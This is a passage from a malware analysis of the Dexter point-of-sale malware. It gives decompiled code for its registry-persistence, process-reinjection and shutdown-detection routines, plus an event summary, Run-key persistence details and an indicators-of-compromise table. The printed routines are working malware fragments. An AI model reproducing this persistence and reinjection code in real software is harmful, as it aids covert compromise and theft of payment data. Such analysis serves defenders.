    RegNotifyChangeKeyValue(local_10[local_14],1,5,hHandle,1);
  }
  do {
    WaitForSingleObject(hHandle,0xffffffff);
    for (local_14 = 0; local_10[local_14] != (HKEY)0x0; local_14 = local_14 + 1) {
      RegSetValueExW(local_10[local_14],u_Sun_Java_Security_Plugin_00408408,0,1,
                     &javaPluginExecutableBackupPath,iVar1 << 1);
      RegNotifyChangeKeyValue(local_10[local_14],1,5,hHandle,1);
    }
  } while( true );
}

The MonitorJavaPluginRegistry function continuously monitors the Windows registry for Java plugin-related entries. It begins by retrieving the length of a backup path for the Java plugin executable and initializes a registry key array. The function attempts to open specific registry keys related to Java and stores their handles. It sets a value in each opened registry key to point to the backup path and registers for change notifications on these keys. The function then enters an infinite loop where it waits for a change event on the registered keys, and upon detection of any changes, it updates the registry values accordingly, ensuring that the backup path is consistently reflected in the Java plugin registry settings.


/* WARNING: Removing unreachable block (ram,0x00403ae4) */

void MonitorProcessVersion(void)

{
  DWORD DVar1;
  
  do {
    DVar1 = GetProcessVersion(newProcessId);
    if (DVar1 == 0) {
      InitializeAndInjectProcess(1);
    }
    Sleep(2000);
  } while( true );
}

The MonitorProcessVersion function continuously checks the version of a specified process identified by newProcessId. In an infinite loop, it retrieves the process version using GetProcessVersion. If the function detects that the version is zero—indicating that the process is either not running or has not been initialized—it calls InitializeAndInjectProcess with a parameter of 1, likely to start or inject a necessary process. After each check, the function pauses for 2000 milliseconds (or 2 seconds) before repeating the process version check, ensuring ongoing monitoring and maintenance of the target process.


void InitializeShutdownDetection(void)

{
  BOOL messageResult;
  tagMSG msg;
  WNDCLASSEXA windowClass;
  
  windowClass.cbSize = 0x30;
  windowClass.style = 3;
  windowClass.lpfnWndProc = FUN_004040d0;
  windowClass.cbClsExtra = 0;
  windowClass.cbWndExtra = 0;
  windowClass.hInstance = (HINSTANCE)0x0;
  windowClass.hIcon = (HICON)0x0;
  windowClass.hCursor = (HCURSOR)0x0;
  windowClass.hbrBackground = (HBRUSH)0x6;
  windowClass.lpszMenuName = (LPCSTR)0x0;
  windowClass.lpszClassName = s_DetectShutdownClass_00407310;
  windowClass.hIconSm = (HICON)0x0;
  RegisterClassExA(&windowClass);
  CreateWindowExA(0x88,s_DetectShutdownClass_00407310,(LPCSTR)0x0,0x80000000,0,0,0,0,(HWND)0x0,
                  (HMENU)0x0,(HINSTANCE)0x0,(LPVOID)0x0);
  while( true ) {
    messageResult = GetMessageA(&msg,(HWND)0x0,0,0);
    if (messageResult < 1) break;
    TranslateMessage(&msg);
    DispatchMessageA(&msg);
  }
  return;
}

The InitializeShutdownDetection function sets up a Windows application to detect system shutdown events. It begins by defining and initializing a WNDCLASSEXA structure for a window class, specifying attributes such as the window procedure (FUN_004040d0) and the class name (s_DetectShutdownClass_00407310). After registering the window class, the function creates a window with extended styles, preparing it to receive messages. The function then enters an infinite loop where it continuously retrieves messages from the message queue using GetMessageA. If a message is received, it processes the message by translating and dispatching it. The loop continues until GetMessageA returns a value less than one, indicating that no more messages are available, at which point the function terminates.


Sequence of Events (TLDR)

Upon infection, Dexter initiates its process by injecting itself into the iexplore.exe executable. It modifies relevant Windows registry entries to establish a startup mechanism, ensuring it is executed each time the machine boots. The malware then begins monitoring memory for critical data, specifically targeting sensitive information such as credit card details, usernames, and operating system information from PoS machines. In addition to monitoring processes and potentially other system parameters, Dexter uses these functions to efficiently manage its persistence and data extraction capabilities. The information collected is then uploaded to a remote server located in the Seychelles, indicating a strategic effort to anonymize the operation and evade detection.

Functionalities

ContinuousMemoryMonitoring

This function continuously monitors and extracts memory from the target system at regular intervals. It utilizes a sleep mechanism to manage the frequency of memory checks, indicating a focus on capturing real-time data from the operating environment.

MonitorJavaPluginRegistry

  • This function is responsible for monitoring and modifying registry entries related to the Java plugin. It opens various registry keys to set values that reference the Java plugin executable, thus potentially enabling additional avenues for data collection or execution.

MonitorProcessVersion

  • This function periodically checks the version of a specified process. If the target process is not found, it initializes and injects the Dexter malware, ensuring that it maintains its foothold on the infected machine.

InitializeShutdownDetection

  • This function sets up a message-driven loop to detect system shutdown events. It creates a window class and processes messages, which could help the malware maintain persistence or perform clean-up operations before shutdown.

MonitorAndExtractMemory

  • Similar to ContinuousMemoryMonitoring, this function serves to parse and extract valuable data from the memory dumps of Point of Sale (PoS) machines using Windows API calls. The gathered data is crucial for the theft of sensitive information.

Maintaining Persistence

Registry Edits

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

  • This key is commonly used to run programs automatically at system startup. Dexter modifies this key to add entries that ensure its executable is launched each time the system boots.

HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run

  • Similar to the above, this key is utilized to execute programs when any user logs in. Dexter may add itself here to ensure it runs in the context of the default user profile.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

  • This key allows the malware to launch itself when the current user logs in, providing another layer of persistence across user sessions.

Executable

To maintain persistence, Dexter relies on the following executable files:

  1. iexplore.exe
    • The primary executable file into which Dexter injects itself. This executable runs the Internet Explorer browser and is leveraged by the malware to operate without drawing suspicion.
  2. javaPluginExecutableBackupPath
    • A reference to a Java plugin executable. The malware updates registry values associated with the Java plugin, likely to exploit any vulnerabilities or to ensure that its payload remains executed when the Java plugin runs.

Indicators of Compromise

Indicator Description
Registry Modification The function WriteRegistryValue modifies the Windows Registry for persistence.
Memory Monitoring The function MonitorAndExtractMemory monitors processes and extracts memory data, indicating potential espionage.
Process Name Checking The function CheckProcessName verifies if specific processes (like "wmiprvse.exe") are running, suggesting targeted monitoring.
Multiple Threads Creation of threads for continuous monitoring (ContinuousMemoryMonitoring, MonitorJavaPluginRegistry, etc.) indicates malicious intent to persist and control system behavior.
Suspicious API Calls Use of Windows API functions like CreateToolhelp32Snapshot, OpenProcess, VirtualQueryEx, and ReadProcessMemory for process and memory manipulation.
Potential Data Exfiltration The capability to read memory from other processes suggests possible data exfiltration or sensitive information gathering.
Process Enumeration The function uses process enumeration techniques, which may indicate an attempt to identify and manipulate vulnerable processes.
Handle Management Handles to processes and snapshots are opened and closed, revealing the malware's attempt to control and monitor system resources.
Stealthy Operations Functions designed to operate without user awareness, emphasizing a stealthy approach to malicious activities.
Execution Control Functions like InitializeShutdownDetection indicate an attempt to maintain control over execution and prevent user intervention.